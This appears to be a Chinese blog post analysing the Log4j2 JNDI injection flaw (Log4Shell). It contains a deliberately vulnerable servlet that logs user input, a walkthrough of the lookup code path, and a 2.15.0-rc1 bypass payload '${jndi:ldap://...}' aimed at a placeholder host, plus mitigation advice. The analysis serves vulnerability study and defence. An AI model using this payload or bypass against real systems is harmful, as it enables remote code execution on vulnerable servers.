前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >浅析Log4j2Rce

浅析Log4j2Rce

作者头像
ConsT27
发布2022-03-02 08:41:03
1.1K0
发布2022-03-02 08:41:03
举报
文章被收录于专栏:ConsT27的笔记

Log4j2 RCE

本质上是一个JNDI注入,屌得一批,之前掀起大热。

Log4j?

简单点,就是一个拿来打印日志的库,Log4j2是Log4j超级增强版。

分析

影响范围 Java类产品:Apache Log4j 2.x < 2.15.0-rc2 受影响的应用及组件(包括但不限于)如下:Apache Solr、Apache Flink、Apache Druid、Apache Struts2、pring-boot-strater-log4j2等。(来自腾讯云社区)

建立一个servlet(嫖自腾讯云社区)

代码语言:javascript
复制
@WebServlet(name = "ServletDemo", value = "/ServletDemo")  
public class ServletDemo extends HttpServlet {  
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {  
          Logger logger = LogManager.getLogger(ServletDemo.class.getName());  
          PrintWriter printWriter = response.getWriter();  
          printWriter.println("Log4j2 JNDI injection");  
          String payload  = request.getParameter("msg");  
if (payload == null){  
              payload = "input msg parameter: ?msg=helloworld";  
          }  
          printWriter.println("execute paylaod: " + payload);  
          logger.error(payload);  
          printWriter.flush();  
          printWriter.close();  
      }  

@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {  
          Logger logger = LogManager.getLogger(ServletDemo.class.getName());  
          PrintWriter printWriter = response.getWriter();  
          printWriter.println("Log4j2 JNDI injection");  
          String payload  = request.getParameter("msg");  
if (payload == null){  
              payload = "input msg parameter: ?msg=helloworld";  
          }  
          printWriter.println("execute paylaod: " + payload);  
          logger.error(payload);  
          printWriter.flush();  
          printWriter.close();  
      }  
  }

正常运行时,logger.error会把日志输出到服务器面板。

我们跟进一下这个logger.error。 下断点,调试开搞。

先调用logIfEnabled函数判断当前事件类型的优先级,如果优先级不够就不会进行之后的代码操作

日志级别

log4j2作为一个日志处理组件,它对日志事件的优先级进行了分类以方便后续的处理 其内置的日志级别标准如下,各个级别(intLevel)由数值表示,级别越高数值越小。

在上面对logIfEnabled的跟进过程中我们可以看到,只有当intLevel >= level.intLevel(),即当前事件的intLevel小于intLevel常量值时才会继续进行代码。 而默认的intLevel常量值为200,即error级别,这就意味着在默认情况下只有优先级大于等于error的事件才会继续执行代码,启用日志打印。(本文是用的logger.error触发,所以同理也可以用logger.fatal触发) 这个intLevel常量值可以通过配置文件和Configurator.setLevel函数进行修改,这里就不再赘述。

将断点断在org/apache/logging/log4j/core/appender/AbstractOutputStreamAppender.java中的directEncodeEvent,继续调试

模式布局

这里的getLayout方法会获取日志打印的模式布局,也就是日志的格式化形式。 默认的模式布局为%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n,也就是上图中的那样。 当在解析这串格式化字符串时时,会结合List<PatternConverter>转换器列表和List<FormattingInfo>格式信息列表这两个列表进行格式化。 格式化字符串中我们可以看到有如%d,%t等一系列占位符,这些占位符的意义是用于标识转换器,表示当前位置的字符串应该由何种转换器处理。

接下来我们跟进encode方法

toSerializable方法中会先获取PatternConverter 转换器列表,然后用不同的转换器处理传入的数据

log4j2 rce是MessagePatternConverter这个转换器出了问题,所以我们快进到MessagePatternConverter#format它最开始会先去获得当前event信息中的message信息然后在后面判断config与noLookups属性的状况再然后(重点)去判断msg信息中是否存在字符串“{”,如果存在就会把及后面的字符串切割出来存放到变量value中,于132行将其作为参数传入replace方法最终传入到InitialContext.lookup参数中,完成jndi注入

总结

在log4j2中如果触发了error级别以上的事件,log4j2会调用不同转换器去分析事件用于格式化输出的日志,在MessagePatternConverter这个转换器中会去获取事件中的message信息(也就是传入logger.error等函数中的String参数)进行处理,如果message信息中存在”{“字符串,就会根据{}中内容的prefix选取对应的Lookup处理器进行处理,如果是prefix是jndi就会造成jndi注入

2.15.0 RC1绕过

前提条件:目标环境的log4j2配置文件中的%msg改成了%msg{lookup} ,或者通过API动态修改启用了lookup just like this

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="[%-level]%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{lookups}%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

但这个前提条件属实苛刻,所以这个绕过也属实有点鸡肋。

代码语言:javascript
复制
payload:
${jndi:ldap://xxx.xxx.xxx.xxx:xxxx/ ExportObject}  在host/后加了个空格

简要分析过程:在进行jndilookup操作时,会判断host是否是白名单里的host(均为内网ip或域名),如果我们在host/后加一个空格,就会导致其校验函数抛出错误,但是抛出错误后程序并没有进行相应处理,导致最后进行了成功lookup

修复建议

(引用自安全客平台)

修复建议:

  1. 升级Apache Log4j2所有相关应用到最新版。
  2. 升级JDK版本,建议JDK使用11.0.1、8u191、7u201、6u211及以上的高版本。但仍有绕过Java本身对Jndi远程加载类安全限制的风险。

临时建议:

  1. jvm中添加参数 -Dlog4j2.formatMsgNoLookups=true (版本>=2.10.0)
  2. 新建log4j2.component.properties文件,其中加上配置log4j2.formatMsgNoLookups=true (版本>=2.10.0)
  3. 设置系统环境变量:LOG4J_FORMAT_MSG_NO_LOOKUPS=true (版本>=2.10.0)
  4. 对于log4j2 < 2.10以下的版本,可以通过移除JndiLookup类的方式。

RC2修复

代码语言:javascript
复制
try{
} catch (URISyntaxException ex) {
    LOGGER.warn("Invalid JNDI URI - {}", name);
    return null;
}
return (T) this.context.lookup(name);

catch里直接return了。

Reference

https://www.anquanke.com/post/id/263325#h2-6

https://cloud.tencent.com/developer/article/1917881

http://wjlshare.com/archives/1674

https://xz.aliyun.com/t/10649#toc-2

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-03-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Log4j2 RCE
  • Log4j?
  • 分析
    • 总结
      • 2.15.0 RC1绕过
        • RC2修复
        • Reference
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档